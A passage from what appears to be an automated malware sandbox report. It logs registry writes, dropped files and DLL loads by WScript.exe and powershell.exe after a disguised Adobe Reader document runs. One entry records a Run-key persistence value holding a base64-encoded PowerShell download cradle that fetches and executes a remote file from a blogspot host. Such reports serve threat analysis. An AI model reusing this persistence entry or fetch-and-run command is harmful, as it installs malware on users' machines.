"SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "EB2000000000000004000400010007000200000025996000560A85009D9D9200B1CE9800C36D8100CC495600F7ED6A00010006000000A522A40000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "DRAKI701"; Value: "conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAaQBFAHgAIAAoAGkAcgBtACAAaAB0AHQAcABzADoALwAvAGgAaQBtAGEAYwBoAGEAbAB5ADEANwBhAHAAbAByAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8AcwBjAG8AbwBiAGEALgBkAG8AYwB4AC4AcABkAGYAKQA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQA2AA==") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\SHELL\MUICACHE"; Key: "C:\PROGRAM FILES (X86)\ADOBE\READER 11.0\READER\ACRORD32.EXE.FRIENDLYAPPNAME"; Value: "Adobe Reader"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\SHELL\MUICACHE"; Key: "C:\PROGRAM FILES (X86)\ADOBE\READER 11.0\READER\ACRORD32.EXE.APPLICATIONCOMPANY"; Value: "Adobe Systems Incorporated"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")34:T6e2,Dropped file: "UserCache.bin" - Location: [%LOCALAPPDATA%\Adobe\Acrobat\11.0\UserCache.bin]- [targetUID: 00000000-00001996] Dropped file: "A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl]- [targetUID: 00000000-00001996] Dropped file: "Annssi.dat" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssi.dat]- [targetUID: 00000000-00001996] Dropped file: "Annss.dat" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annss.dat]- [targetUID: 00000000-00001996] Dropped file: "AdobeFnt14.lst.1996" - Location: [%LOCALAPPDATA%\Adobe\Acrobat\11.0\Cache\AdobeFnt14.lst.1996]- [targetUID: 00000000-00001996] Dropped file: "addressbook.acrodata" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\addressbook.acrodata]- [targetUID: 00000000-00001996] Dropped file: "StartupProfileData-NonInteractive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001204] Dropped file: "48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl]- [targetUID: 00000000-00001996] Dropped file: "0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl]- [targetUID: 00000000-00001996] Dropped file: "CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl]- [targetUID: 00000000-00001996] Dropped file: "Annssk.dat" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssk.dat]- [targetUID: 00000000-00001996]35:T441c,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004304) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004304) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf5ac9168#\6266e450a9fd72d28c585220de1f4515\Microsoft.Management.Infrastr (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00001204) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00001204)36:T14b0,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module 